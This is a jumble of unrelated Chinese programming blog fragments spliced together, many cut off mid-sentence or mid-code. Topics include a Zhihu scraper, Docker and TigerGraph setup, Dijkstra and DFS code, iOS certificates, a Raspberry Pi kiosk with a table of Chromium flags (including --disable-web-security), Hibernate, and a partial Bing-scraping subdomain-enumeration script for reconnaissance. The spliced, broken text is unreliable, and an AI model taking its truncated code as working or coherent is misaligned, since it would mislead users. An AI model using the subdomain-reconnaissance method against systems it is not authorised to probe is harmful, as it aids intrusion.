import requests import pandas as pd import re import time import random df = pd.DataFrame() headers ={ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36' } for page in range(0,25,5): url = f'https://www.zhihu.com/api/v4/questions/499739058/answers?include=data%5B%2A%5D.is_normal%2Cadmin_closed_comment%2Creward_info%2Cis_collapsed%2Cannotation_action%2Cannotation_detail%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cattachment%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Ccreated_time%2Cupdated_time%2Creview_info%2Crelevant_info%2Cquestion%2Cexcerpt%2Cis_labeled%2Cpaid_info%2Cpaid_info_content%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cis_recognized%3Bdata%5B%2A%5D.mark_infos%5B%2A%5D.url%3Bdata%5B%2A%5D.author.follower_count%2Cvip_info%2Cbadge%5B%2A%5D.topics%3Bdata%5B%2A%5D.settings.table_of_content.enabled&limit=5&offset={page}&platform=desktop&sort_by=default' response = requests.get(url,headers=headers).json() data = response['data'] for list_ in data: name = list_['author']['name'] # 知乎作者 id_ = list_['author']['id'] # 作者id created_time = time.
环境: CentOS 8.5.2111
Docker 20.10.10
Docker-Compose 2.1.0
服务: db redis web nginx
NET Core 6+MySQL 8+Nginx + Redis
Kubernetes 又称 K8s ,是集群的 ,单机用 Docker Compose 编排容器 比较方便
cat /etc/system-release #查看版本 sudo yum update dnf -y update #更新系统环境 先安装 Docker Engine 和 Docker Compose
1. Docker 安装 Docker三大核心概念:
镜像(Image)
容器(Container)
仓库(Repository)
https://docs.docker.com/compose/install/
https://cloud.tencent.com/document/product/213/46000
DockerHub镜像加速器 使用加速器可以提升获取Docker官方镜像的速度
Docker Version不低于1.10时,建议直接通过daemon config进行配置
配置文件/etc/docker/daemon.json(没有时新建该文件)
1. 创建一个Docker的配置文件
sudo vim /etc/docker/daemon.json 2. 编写配置文件
{ "registry-mirrors": [ "https://个人申请的.mirror.aliyuncs.com", "
最近项目使用tigergraph,因为才接触,边学边记录。
Cloud-Based Graph Database Solutions for Agile Teams
点击start free 登录已有的账号 或者注册个新的
然后进入了cloud 主界面 然后点击 my solutions,我这里面已经创建了几个,才进入的时候应该什么都没有。点击create solution
这里可以选择tigergraph的版本,以及他已经有的模板,或者建立一个blank的solution。
next之后可以选择配置,默认的配置都是免费的,你也可以升级配置,只不过就需要给钱了,当然选择距离你比较近的Region是可以的,这改变不会花钱。
next之后这两个比较重要,一个是登录你solution的密码,还有个是域名,这两个之后都会用到。
当然免费的solution只能同时存在一个,新建一个免费的之后必须先终止该soluion才能新建第二个免费solution。
完成之后回到my solution界面,等待几分钟,可以在pengding tasks里面看到正在创建,
创建好了之后,就可以点击这个GraphStudio进入可视化管理。他默认用户名就是tigergraph,密码就是一开始设置的 。
进入之后点击Global View 进入具体的Graph。
这时候就可以看到模板solution的graph了。
接下来我会介绍怎么自己新建自己的Graph和插入数据 点击Global Views的 create a graph ,然后进入新的graph,在Design Schema中点击那个加号button新建Vertex 也就是 顶点,类似于neo4j中的node,右边可以规定该vertex的颜色属性之类的参数。
当建立多个vertex之后,可以点击圈中button,再依次点击想建立edge的两个vertex,这就相当于neo4j中的relastionship,右边就可以自定义该edge的type,以及具体属性,这里还可以设置该edge是有向边还是无向边(就是有无方向的指代)。需要注意的是,同一个type只能新建一次,
如果像这种情况,我还想让applicationlog 与message拥有have的edge怎么办呢,这时候就可以双击这个have的edge,就会出现右边的操作panel,就可以看到该type的edge的具体配置,点击加号,再选择你想链接的vertex,再点右上角的勾就可以了。
最后最重要的一步,schema定义好之后,点击圈中button,提交修改,虽然这时候切换其他tab他也会提醒你,但是以防万一,还是最好自己点击提交。
这时候我们就需要导入数据模型,点击第二个tab,Map Data to Graph 。
点击圈中button,唤出上传的popup。我这里已经上传过,所以有很多文件,正常第一次进来应该是没有的,除非是使用的模板solution,点击加号上传你的csv, 包括vertex数据,以及edge数据(简言之就是节点数据以及关系数据)
我的vertex 以及edge 的csv结构就像上面的截图一样 上传之后,点击要添加的csv,就会出现这个,可以配置怎么解析这个csv,这里has header默认没有打勾,因为我的csv有header,所以打勾了,否则他会把header当成第一列的数据,确认无误之后就可以点击ADD了 添加完成之后,点击圈中button,来关联你的csv与vertex或者edge,点击button之后依次点击需要绑定的csv与vertex或edge,然后回出现右边的panel,这时候需要把csv中的属性,与vertex或者edge中的属性做匹配,依次点击相匹配的属性,例如点击左边的id 再点击右边的id
然后就会出现指向箭头显示我们所绑定的关系。然后就绑定每个csv与需要绑定的vertex或者edge
所有绑定完成之后就可以看到每个csv都有指向的vertex或者edge,这时候再点击左上角的提交button,和上一个design schema的操作一样,提交你的修改 然后进入Load Data tab,导入数据,然后点击圈中的button,然后点击continue来导入全部数据,等待一会就可以看到所有的csv都是finish了,右边可以看到Vertex 以及edge的统计数据以及每一个type的数量。
然后跳过Explore Graph 以及Build Graph Partterns。直接介绍最后一个 GSQL查询。
狄克斯特拉(Dijkstra)算法也是求解最短路径问题的算法,使用它可以求得从起点到终点的路径中权重总和最小的那条路径路径。
使用优先队列来实现,优先队列是依据二叉堆实现
无向图 import heapq import math graph = { "A":{"B":5,"C":1}, "B":{"A":5,"C":2,"D":1}, "C":{"A":1,"B":2,"D":4,"E":8}, "D":{"B":1,"C":4,"E":3,"F":6}, "E":{"C":8,"D":3}, "F":{"D":6} } def init_distance(graph,s): distance = {s:0} for vertex in graph.keys(): if vertex != s: distance[vertex] = math.inf return distance def dijkstra(graph,s): pqueue = [] # 定义优先队列 -- 结合下面 heapq.heappush(pqueue,(0,s)) seen = set() parent = {s:None} distance = init_distance(graph,s) while (len(pqueue) > 0): pair = heapq.heappop(pqueue) dist = pair[0] vertex = pair[1] seen.add(vertex) nodes = graph[vertex].
[AcWing]842. 排列数字(C++实现)dfs模板题 1. 题目2. 读题(需要重点注意的东西)3. 解法4. 可能有帮助的前置习题5. 所用到的数据结构与算法思想6. 总结 递归的难度在于理解递归是如何回退的。 1. 题目 2. 读题(需要重点注意的东西) 思路:
---------------------------------------------------dfs的思想---------------------------------------------------
dfs深度优先遍历的思想比较简单,就是一条路走到底,走到最深点处再回退一步,再看有没有路可以走,没有的话再回退一步,重复此步骤;
dfs的思想比较简单,在此不在过多的赘述,解释代码中实现dfs的递归方法,是本文的主要目的。
---------------------------------------------------递归的思想---------------------------------------------------
递归在于不断调用自己的函数,层层深入,直到遇到递归终止条件后层层回溯,其思想与dfs的思想不谋而合;因此,可以使用递归来实现dfs。
递归的进入比较容易理解,但是递归的回溯是在计算机底层执行的,我们无法看到。因此,递归究竟是如何完成的,成为了理解递归的一大难点,也是理解递归的唯一一个难点。
让我们来看一下这样一个简单的递归程序
#include<iostream> using namespace std; int n; void func(int u){ if(u == 0) return; cout << "Recursive program goes to the next level --- " << u << endl; func(u-1); cout << "Recursive program backtracking --- " << u <<endl; return; } int main(){ cin >> n; func(n); return 0; } 输入3,我们可以看到,它的输出是
近几年,产品经理这一职位也在发生一些改变。
在移动互联网发展的早期,产品经理只要会画原型,推进产品设计研发就可以了;现在随着产业和互联网的结合,行业和企业对产品经理的能力需求越来越高。
但仍然有很多同学目光投向了「互联网产品经理」,因为相比传统行业的岗位,互联网公司做产品经理仍然有更好的薪资待遇和发展空间。
更高的门槛意味着更高的要求;更好的待遇暗示着潜藏的机会。对于想转行和入门的同学,脑海里不禁生出这一些列问题:零基础求职产品经理还有机会吗?怎么系统学习产品经理的职业技能?除此之外,还有哪些能力需要提升?没基础、没资源,怎么找到积累经验的机会?
本篇文章将会用比较长的篇幅,帮你解答这些问题。耐心看完,你离成功求职产品经理又近了一步。
零基础求职产品经理还有机会吗?
我们都知道,产品经理这一职位对个人的行业洞察、沟通表达、设计输出、资源整合及执行能力都有很高的要求,一般具有丰富经验的人才能胜任。但是在现实中,产品经理相关岗位从业人员除了一部分是通过社招途径招聘来的,还有很多就是从应届毕业生中培养起来的。
至于为何招聘大量应届生做产品经理,《俞军产品方法论》一书中也有所提及,主要原因是:
在中国的互联网领域中,产品设计、研发、运营相关的职位逐渐细化,既要有资深人员统筹管理,也需要大量人员参与完成初、中级的工作,形成高低搭配的局面,另外大学教育和应试教育本身也导致了产品经理的从业者的数量和行业的需求量并不匹配,以至于丰富经验的产品经理还属于少数,产品经理的新鲜血液就需要不断地进行补充。
另外,企业也愿意从众多数量的产品助理、产品实习生中,逐渐筛选并留下合适企业、合适行业、具备一定发展空间的应届生作为产品经理来培养,他们通过三到五年的成长期,大多数会成长为独当一面的、合格的产品经理。
招聘平台上,面向在校生的产品实习和助理类岗位众多,所以只要目标明确、立志在互联网行业发展并且足够努力的同学,都不缺乏入门和成长的机会。
如何系统学习产品经理职业技能?
如果你想要入门或转行成为产品经理,必须学会产品经理相关知识技能,作为初级从业者,你需要掌握的能力主要集中在产品设计和产品管理两个方面。
在这两个方面,你需要具体掌握哪些技能和方法呢?
1. 市场分析和用户调研能力
研究市场以了解用户需求、竞争状态、市场规模和盈利模式,发现创新或者改进产品的潜在机会;通过与用户和潜在用户进行沟通交流,明确符合该机会中的目标用户群体与特征;与直接面对用户/客户的一线同事/同行交流,获取、分析、评估用户的需求。
2. 产品定义和原型设计能力
这部分需要确定产品的具体功能,通常采用产品需求文档(PRD)来进行描述,形成包含交互设计(UX)、用户界面设计(UI)的具体方案。
在方案形成过程中,通常会通过原型设计把自己的想法或者团队讨论确定的方案以具象的形式呈现出来,便于团队成员的理解或者用于用户测试,最终达成共识,形成确定的方案。
所以产品经理需要掌握 PPT、Axure、Sketch、墨刀等常用工具。
3. 产品管理能力
这部分包含产品规划、需求管理、业务分析、项目管理以及对所在领域的知识储备。
产品规划:需要向团队展示产品演进路线图,比如说让团队成员清楚未来需要完成哪些功能。
需求管理:在最近时间段的迭代中,比如近1个月内需要开发什么样的功能,这些功能需要产品经理进行管理,通过故事卡的形式将产品功能如何解决用户需求描述出来,描述的过程就是需求管理的过程。
业务分析:针对某一个具体的功能,如何描述这个功能,这个功能开发出来之后将会达到怎样的状态,验收标准是什么样,常用的方式是故事卡。
项目管理:产品经理需要和团队、研发经理明确需要迭代和开发的功能,以及整个研发团队的进度。常用的工具是燃尽图。
领域知识:如果涉及到特定行业的产品设计,产品经理需要了解特定领域和行业的知识,比如说做一个医疗类产品,产品经理需要了解医疗行业的专业知识。
4. 产品运营能力
当产品上线后,产品经理需要持续了解和收集基本数据,追踪产品投放到市场上的效果和反馈,以便不断迭代优化。
可以用的工具包括 Google Analytics、百度统计、TalkingData、友盟、GrowingIO 等等。
此外,产品经理也要注重和用户互动,通过产品意见反馈模块、应用市场评论、用户群、客服等渠收集用户反馈,和用户互动,了解用户需求。
产品经理还要参与活动策划和推广活动,协助运营人员为产品提供活动点子和活动文案建议,通过产品机制提升产品拉新和活跃度等等。
除了职业技能,还需要哪些能力?
想要成为一名产品经理不仅需要具备多项职业技能,还需要在日常中注重提升自己的软实力,从而提升求职时的综合竞争力。
1. 训练沟通表达能力
产品经理需要通过高效的语言,对内向团队成员沟通需求、设计思路,对外介绍清楚自己的产品理念、市场价值。因此在讲解产品方案或者介绍具体细节的设计时,都需要具备很好的口才,能够将信息直接传达下去,让听众能够高效而又无障碍的总结到你的意思。
2. 提升跨部门协作能力
在大公司,各部门的职能划分非常细,比如市场、销售、运营推广、用户调研、市场调研都是由不同的部门来承接,所以大厂的产品经理在工作中,需要跟多个部门进行跨部门协作和协调,才能把产品顺利上线。
3. 锻炼文档撰写能力
产品经理的输出内容,其中非常重要的一项就是产品需求文档( PRD ),因此要具备输出文档的能力,包括对专业词汇的理解和使用,言简意赅的表达清楚每一个场景、功能描述以及对应的开发需求等。
撰写产品需求文档是通过写作的方式表达专业技能,一方面需要日积月累的练习提升自己的文字功底,另一方面可以通过专业的论坛、网站多看看优秀前辈的输出,学习他们的表达方式、理解背后的逻辑。
4. 提升自己的审美
对提高自身的原型设计能力、视觉设计方案的评审都很重要。如果欠缺审美能力,那么就无法清楚地明白什么样的产品才是优秀的,能够给用户带来完美的体验。
产品经理也可以多去设计师常用的网站去看看,包括 Dribbble、Behance、Pinterest、知群设计圈等等,这些优秀设计师作品展示平台间接向我们传递着设计潮流、设计趋势,未来 UI 设计应该是用什么样的色彩风格。
图:知群设计圈 App
5. 多体验优秀的作品,提高评判能力
每年市场上优秀的作品层出不穷,大家可以关注苹果 App Store 推荐的产品和专题,这些优秀的产品往往在功能、设计、交互方面有着独到的地方。在这背后设计师和产品经理有着什么样的思考,为什么做成这样,能否借鉴?
首先得描述一下各个证书的定位,作用,这样在制作的时候心中有谱,对整个流程的把握也会准确一些;
1、开发者证书(分为开发和发布两种,类型为ios Development,ios Distribution),这个是最基础的,不论是真机调试,还是上传到appstore都是需要的,是一个基证书,用来证明自己开发者身份的;
2、appID,这是每一个应用的独立标识,在设置项中可以配置该应用的权限,比如是否用到了PassBook,GameCenter,以及更常见的push服务,如果选中了push服务,那么就可以创建生成下面第3条所提到的推送证书,所以,在所有和推送相关的配置中,首先要做的就是先开通支持推送服务的appID;
3、推送证书(分为开发和发布两种,类型分别为APNs Development ios,APNs Distribution ios),该证书在appID配置中创建生成,和开发者证书一样,安装到开发电脑上;
4、Provisioning Profiles,这个东西是很有苹果特色的一个东西,我一般称之为PP文件,该文件将appID,开发者证书,硬件Device绑定到一块儿,在开发者中心配置好后可以添加到Xcode上,也可以直接在Xcode上连接开发者中心生成,真机调试时需要在PP文件中添加真机的udid;是真机调试和必架必备之珍品;
平常我们的制作流程一般都是按以上序列进行,先利用开发者帐号登陆开发者中心,创建开发者证书,appID,在appID中开通推送服务,在开通推送服务的选项下面创建推送证书(服务器端的推送证书见下文),之后在PP文件中绑定所有的证书id,添加调试真机等;
开头生成csr文件 在苹果开发者中心生成证书的时候需要一个CSR(certificateSigningRequest)文件。
打开钥匙串访问工具,在钥匙串访问下拉菜单选中证书助理 --> 从证书颁发机构请求证书;
输入appId邮件地址、名称,选择存储到磁盘
步骤1:
步骤2:
步骤3:这里选取保存的位置是桌面,也可以选择自己喜欢的位置保存
这样就生成了一个CSR文件:
开始创建证书 首页进入苹果开发者中心 https://developer.apple.com/account/
如果没有应用可以点击创建
进入到Certificates, Identifiers & Profiles 创建证书
点击苹果开发者网站证书页面的加号进入到证书类型选择页面
根据自己的需要选择,选择完成后
选择钥匙串中保存的那个文件 再进行下一步 这样证书就建好了,然后下载下来就可以后面打包的时候会用到
你还需要创建 你的应用 注意一个证书下可以有多个应用,但是需要不同的包名,下面就是创建应用 点击Identifiers 里的加号进行添加
这样应用就建 好了,这时候你需要添加测试uuid,用测试证书测试程序时需要在苹果开发者添加你手机的uuid,每个手机有单独的uuid,可以用itunes连接苹果手机在手机型号那里点击两下,就会出现uuid,将码复制出来后填入开发者中
点击添加按钮进入下个页面
按照上面的内容填写相应内容 保存就可以(continue 按钮)
profiles文件介绍
ios打包时需要两个文件一个是证书文件,一个就是profiles文件,一般来说一个账号只有一个证书文件但是想要创建多个应用,就对应了多个profiles文件,profiles文件相当于把上面创建的应用名称,证书,uuid关联到一起。下面就创建一个profiles 文件试试
根据需要选择要创建的profile文件的类型,是用于生产还是用于测试
选择完类型后点击下一步继续选择对应的应用(Identifiers)就是前面创建过的应用,选择完成后点击下一步
选择完应用后再选择相应的证书,下面3个是证书列表,要是不知道选哪个就全选,然后点击下一步
进入到选择设备页面选择要测试的设备,下面是设备列表,前面填写的uuid对应的设备名称选择相应的设备点击一下步
最后填写你的profiles名称就可以点击下一步,直接下载你创建的profiles就可以了
到这里配置就算完成了,但是在发布ios打包的时候需要.p12后缀的证书文件,这个文件需要在钥匙串应用中导出,现在打开mac的 钥匙串应用
打开钥匙串,选择我们需要的证书,右击,选择“导出“iPhone Distribition:```”:
为.p12文件填一个名字,点击存储:
填一个“密码”,“验证”和密码相同:
点击好,在桌面上就形成了一个.p12文件了:
ios打包须具备两个文件:
该证书导出的“.p12”文件。
苹果开发者中的与“证书”对应的“描述文件”
这里是苹果开发者帮助中心地址:https://help.apple.com/developer-account/#/dev04fd06d56 生成描述文件 Provisioning Profiles -> add -> 依次选择App ID、certificate、devices,生成描述文件
一、创建文件
cd /home/pi/.config mkdir autostart cd autostart vi my.desktop 文件内容如下
[Desktop Entry] Type=Application Exec=chromium-browser --disable-popup-blocking --no-first-run --disable-desktop-notifications --kiosk "http://www.baidu.com" 二、启动参数说明:Chromium浏览器启动参数
三、禁止树莓派休眠,让屏幕长亮
1. 编辑lightdm.conf文件
sudo vi /etc/lightdm/lightdm.conf 2. 找到[SeatDefaults]段下的’#xserver-command=X’,取消注释,修改为如下:
xserver-command=X -s 0 -dpms 参数说明
-s # –设置屏幕保护不启用dpms 关闭电源节能管理 四、隐藏鼠标光标
1. 安装unclutter
sudo apt-get update sudo apt-get install unclutter 2.编辑autostart文件。sudo vi /etc/xdg/lxsession/LXDE-pi/autostart,新增如下行
@unclutter -idle 2 -idle 2 表示鼠标2秒没操作就隐藏
序号 参数 说明
1 --allow-outdated-plugins 不停用过期的插件。
2 --allow-running-insecure-content 默认情况下,https 页面不允许从 http 链接引用 javascript/css/plug-ins。添加这一参数会放行这些内容。
3 --allow-scripting-gallery 允许拓展脚本在官方应用中心生效。默认情况下,出于安全因素考虑这些脚本都会被阻止。
4 --disable-accelerated-video 停用 GPU 加速视频。
5 --disable-dart 停用 Dart。
6 --disable-desktop-notifications 禁用桌面通知,在 Windows 中桌面通知默认是启用的。
7 --disable-extensions 禁用拓展。
8 --disable-file-system 停用 FileSystem API。
9 --disable-preconnect 停用 TCP/IP 预连接。
10 --disable-remote-fonts 关闭远程字体支持。SVG 中字体不受此参数影响。
11 --disable-speech-input 停用语音输入。
12 --disable-web-security 不遵守同源策略。
13 --disk-cache-dir 将缓存设置在给定的路径。
14 --disk-cache-size 设置缓存大小上限,以字节为单位。
15 --dns-prefetch-disable 停用DNS预读。
16 --enable-print-preview 启用打印预览。
17 --extensions-update-frequency 设定拓展自动更新频率,以秒为单位。
18 --incognito 让浏览器直接以隐身模式启动。
JPA全称(JavaPersistenceAPI),它是官方提出的Java持久化规范。需要有Provider实现功能。而Hibernate就是JPA Provider中最强的一个。
JPA包括以下3个方面的技术
1)ORM映射元数据。
2)API,用来操作实体对象,执行CRUD操作,框架在后台替我们完成所有的事情。
3)查询语言,通过面向对象而非面向数据库的查询语句查询数据,避免程序的SQL语句耦合。
一、Hibernate简介 Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个"全自动"的ORM框架,hibernate可以自动生成SQL,自动执行。且移植性好。它可以将对象中的数据自动存储到数据库中,也可以反过来将数据库中的数据自动提取到对象中。但仅对于一些常用的简单的SQL语句,一些比较复杂的语句还是要自己构建。
ORM映射注解
注解描述@Entity将POJO标注为持久化类@Table映射表名@Id映射表的主键,可用于修饰属性或方法@Column映射表的字段,修饰属性或方法@GeneratedValue指定自动增长列的类型。generator指定生成器的名称,strategyz指定生成器的类型。@SeqenceGenerator序列生成器,与@GeneratedValue配合使用。sequenceName数据库列名,allocationSize增量,默认为50,必须与数据库一致。initialValue初始值,默认为0,必须与数据库一致。name序列生成器的名称 二、对象的持久化 狭义的理解:“持久化”仅仅指将对象永久保存到数据库中
广义的理解:“持久化”包括和数据库相关的各种操作
~ 保存:将对象永久保存到数据库中。
~ 更新:更新数据库中对象(记录)的状态。
~ 删除:从数据库中删除一个对象。
~ 查询:根据特定的查询条件。将符合查询条件的一个或多个对象从数据库加载到内存中。
~ 加载:根据特定的OID,将一个对象从数据库加载到内存中。
为了在系统中能够找到所需对象,需要为每一个对象分配一个唯一的标识号。在关系数据库中称之为主键,而在对象术语中,则叫对象标识(Object identifier-OID)
三、ORM(Object Relation Mapping对象关系映射) ORM(Object/Relation Mapping);对象/关系映射 ORM主要解决对象-关系的映射。 面向对象概念面向关系概念类表对象表的行(记录)属性表的列(字段) ~ ORM的思想:将关系数据库中表中的记录映射成为对象,以对象的形式展现, 程序员可以将数据库的操作转化为对对象的操作。 ORM采用元数据来描述对象-关系映射细节,元数据通常采用XML格式,并且存放在专门的对象-关系映射文件中。 四、Hibernate JPA API EntityManagerFactory 实体管理器工厂
EntityManager 实体管理器
EntityTransaction 事务管理接口
EntityManager常用方法:
方法作用persist(Object entity)保存merge(T entity)更新remove(Object entity)删除find(Class< T > entityClass,Object primaryKey)根据id查询createQuery(String sqlString,Class< T > resultClass)查询createNamedQuery(String name,Class< T > resultClass)命名查询,配置@NamedQueries和@NamedQuery 五、构建一个简单的Hibernate项目 工具使用IntelliJ IDEA
一、新建一个Maven项目
二、导入Hibernate-core的依赖(自行配置),数据库驱动我选择的是Oracle的ojdbc6。
三、在IDEA中连接数据库
四、添加JPA模块及在项目resources\META-INF目录下加入persistence.xml配置文件,provider选择Hibernate。
数据集 数据集目录如上,VOC数据集的格式
JPEGImages目录下,放上自己的训练集和测试集 Annotations 下,放上自己的xml文档配置,如上。 在VOCdevkit\VOC2012\ImageSets\Main下,放上自己的train.txt和val.txt,
上面,我按照VOC的格式来的,前面是所有的XML,因为VOC有21类,这里有我懒的删除,刚好前面代表XML文件,后面代表这张图片中有多少该目标,-1表示没有。
这样的话,数据就准备好了。
准备一个json,文件,选择自己需要分类的目标。
数据的读取 from torch.utils.data import Dataset import os import torch import json from PIL import Image from lxml import etree class VOC2012DataSet(Dataset): """读取解析PASCAL VOC2012数据集""" def __init__(self, voc_root, transforms, txt_name: str = "train.txt",json_name="pascal_voc_classes.json"): self.root = os.path.join(voc_root, "VOCdevkit", "VOC2012") self.img_root = os.path.join(self.root, "JPEGImages") self.annotations_root = os.path.join(self.root, "Annotations") # read train.txt or val.txt file txt_path = os.path.join(self.root, "ImageSets", "Main", txt_name) assert os.path.exists(txt_path), "not found {} file.
将C盘下的.eclipse和.p2整个文件夹一起拷贝到你想放置的位置1.打开安装eclipse的路径,修改以下几个文件(默认路径是安装目录):eclipse.ini 、configuration/config.ini、 configuration/org.eclipse.equinox.simpleconfigurator/bundles.info、configuration/org.eclipse.update/platform.xml。这些文件里面配置指向.eclipse .p2的路径改为步骤1的路径替换好新路径后,重新打开eclipse,完事了。
eclipse.ini ···-data E:\eclipse -configuration E:\eclipse -startup plugins/org.eclipse.equinox.launcher_1.6.200.v20210416-2027.jar --launcher.library E:\eclipse/.p2/pool/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.2.200.v20210429-1609 -product org.eclipse.epp.package.jee.product -showsplash E:\eclipse\.p2\pool\plugins\org.eclipse.epp.package.common_4.20.0.20210612-1200 --launcher.defaultAction openFile --launcher.appendVmargs -vm G:\soft\jdk\jdk11\bin -vmargs -Duser.home=E:\eclipse -Dosgi.requiredJavaVersion=11 -Dosgi.instance.area.default=@user.home/eclipse-workspace -Dsun.java.command=Eclipse -XX:+UseG1GC -XX:+UseStringDeduplication --add-modules=ALL-SYSTEM -Dosgi.requiredJavaVersion=11 -Dosgi.dataAreaRequiresExplicitInit=true -Dorg.eclipse.swt.graphics.Resource.reportNonDisposed=true -Xms256m -Xmx2048m --add-modules=ALL-SYSTEM -Declipse.p2.max.threads=10 -Doomph.update.url=http://download.eclipse.org/oomph/updates/milestone/latest -Doomph.redirection.index.redirection=index:/->http://git.eclipse.org/c/oomph/org.eclipse.oomph.git/plain/setups/ ···
oracle的闪回查询,可以查询提交在表空间的闪回数据,并可以还原所查询的数据,用于恢复短时间内的delele 或者 update 误操作,非常方便,缺点是只能恢复大概几小时内的数据。
1.基于时间的闪回
select * from 表名 as of timestamp (sysdate-10/1440); ---查询10分钟内的旧数据
示例:
1.查询表数据,共有14条记录 SQL> select * from emp; EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO ----- ---------- --------- ----- ----------- --------- --------- ------ 7369 SMITH CLERK 7902 1980/12/17 1200.00 20 7499 ALLEN SALESMAN 7698 1981/2/20 1600.00 300.00 30 7521 WARD SALESMAN 7698 1981/2/22 1250.00 500.00 30 7566 JONES MANAGER 7839 1981/4/2 3375.00 20 7654 MARTIN SALESMAN 7698 1981/9/28 1250.
1.什么是域名。 域名(Domain Name),又称网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(有时也指地理位置)。 由于IP地址具有不方便记忆并且不能显示地址组织的名称和性质等缺点,人们设计出了域名,并通过网域名称系统(DNS,Domain Name System)来将域名和IP地址相互映射,使人更方便地访问互联网,而不用去记住能够被机器直接读取的IP地址数串。
域名有级别之分,可以分为顶级域名(一级域名)、二级域名、三级域名、多级域名
二级三级和多级则是此网站的子域名。例如:顶级域名:miduoqi.com,二级域名:www.miduoqi.com; 三级域名:.............
2.子域名挖掘的收集原理 常用的收集方式有字典爆破,DNS信息收集,证书查询,爬虫提取子域名等,咱们这次脚本是通过搜索引擎进行子域名搜集。
1.字典爆破
字典爆破就是通过收集来的字典,拼接到顶级域名前面,然后通过自动化工具进行访问,判断返回结果,从而跑出子域名是否存在。
爆破处理接货主要是依赖于字典的精准度,一本好的字典可以让你事半功倍。
2.DNS信息收集
DNS原理就是搜集DNS的解析历史,通过查询dns记录来获取到对方的解析记录,从而获取到子域名,正常来说你的域名经DNS解析过一般就会搜到。
3.证书查询
通过HTTPS 证书,ssl证书等搜集子域名记录。
4.爬虫提取子域名
可以利用爬虫从页面源代码中提取子域名。
原理介绍参考:
(11条消息) 信息搜集-子域名挖掘_小刚的博客-CSDN博客_子域名挖掘https://blog.csdn.net/weixin_43221560/article/details/109118270
3.脚本编写 (1)创建名为子域名挖掘的py文件,导入一些需要用的python模块
#requests库内置了不同的方法来发送不同类型的http请求 import requests #BS主要功能是从网页抓取数据,提供一些简单的、python 式的函数用来处理导航、搜索、修改分析树等功能 from bs4 import BeautifulSoup #模块主要用于解析url中的参数,对url按照一定格式进行 拆分或拼接,将url分为6个部分,返回一个包含6个字符串项目的元组:协议、位置、路径、参数、查询、片段 from urllib.parse import urlparse import sys (2)通过bing搜索引擎来进行子域名搜集s
def bing_search(site,pages): Subdomain = [] headers = { #HTTP Headers是HTTP请求和相应的核心,它承载了关于客户端浏览器,请求页面,服务器等相关的信息 'User-Agent': 'Mozilla/5.0 (x11; Linux x86_64;rv:68.0)Gecko/20100101 Firefox/68.0', #是Http协议中的一部分,属于头域的组成部分,是一种向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',#属于请求报头,代表发送端(客户端)希望接受的数据类型 'Referer': "https://cn.bing.com", #表示一个来源 'Cookie': "MUID=3B46E5B***********78X&T=6" #类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息 } for i in range(1,int(pages)+1): url = "
一、MybatisPlus 简介 MyBatis-Plus (opens new window)(简称 MP)是一个 MyBatis (opens new window)的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发、提高效率而生。Mybatis-Plus中文文档
特性:
1.无侵入:只做增强不做改变,引入它不会对现有工程产生影响,如丝般顺滑
2.损耗小:启动即会自动注入基本 CURD,性能基本无损耗,直接面向对象操作
3.强大的 CRUD 操作:内置通用 Mapper、通用 Service,仅仅通过少量配置即可实现单表大部分 CRUD 操作,更有强大的条件构造器,满足各类使用需求
4.支持 Lambda 形式调用:通过 Lambda 表达式,方便的编写各类查询条件,无需再担心字段写错
5.支持主键自动生成:支持多达 4 种主键策略(内含分布式唯一 ID 生成器 - Sequence),可自由配置,完美解决主键问题
6.支持 ActiveRecord 模式:支持 ActiveRecord 形式调用,实体类只需继承 Model 类即可进行强大的 CRUD 操作
7.支持自定义全局通用操作:支持全局通用方法注入( Write once, use anywhere )
8.内置代码生成器:采用代码或者 Maven 插件可快速生成 Mapper 、 Model 、 Service 、 Controller 层代码,支持模板引擎,更有超多自定义配置等您来使用
9.内置分页插件:基于 MyBatis 物理分页,开发者无需关心具体操作,配置好插件之后,写分页等同于普通 List 查询
10.分页插件支持多种数据库:支持 MySQL、MariaDB、Oracle、DB2、H2、HSQL、SQLite、Postgre、SQLServer 等多种数据库
有时候处理金额的时候,会将金额进行千分位分割,其实一个很简单的函数即可搞定。
function money_format(money) { if (money !== undefined) { const arr = money.toString().split('.'); return ( (arr[0] || 0).toString().replace(/(\d)(?=(?:\d{3})+$)/g, '$1,') + (arr[1] ? '.' + arr[1] : '') ); } else { return money; } } money_format(2000000) // 2,000,000
labelme_json_to_dataset apc2016_obj3.json -o apc2016_obj3_json 出现如下错误
Traceback (most recent call last): File "/home/shaorenjie/.conda/envs/assemblenet/lib/python3.6/site-packages/qtpy/__init__.py", line 223, in <module> from PySide import __version__ as PYSIDE_VERSION # analysis:ignore ModuleNotFoundError: No module named 'PySide' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/shaorenjie/.conda/envs/assemblenet/bin/labelme_json_to_dataset", line 11, in <module> load_entry_point('labelme==4.1.0', 'console_scripts', 'labelme_json_to_dataset')() File "/home/shaorenjie/.conda/envs/assemblenet/lib/python3.6/site-packages/pkg_resources/__init__.py", line 570, in load_entry_point return get_distribution(dist).load_entry_point(group, name) File "/home/shaorenjie/.conda/envs/assemblenet/lib/python3.6/site-packages/pkg_resources/__init__.py", line 2687, in load_entry_point return ep.load() File "
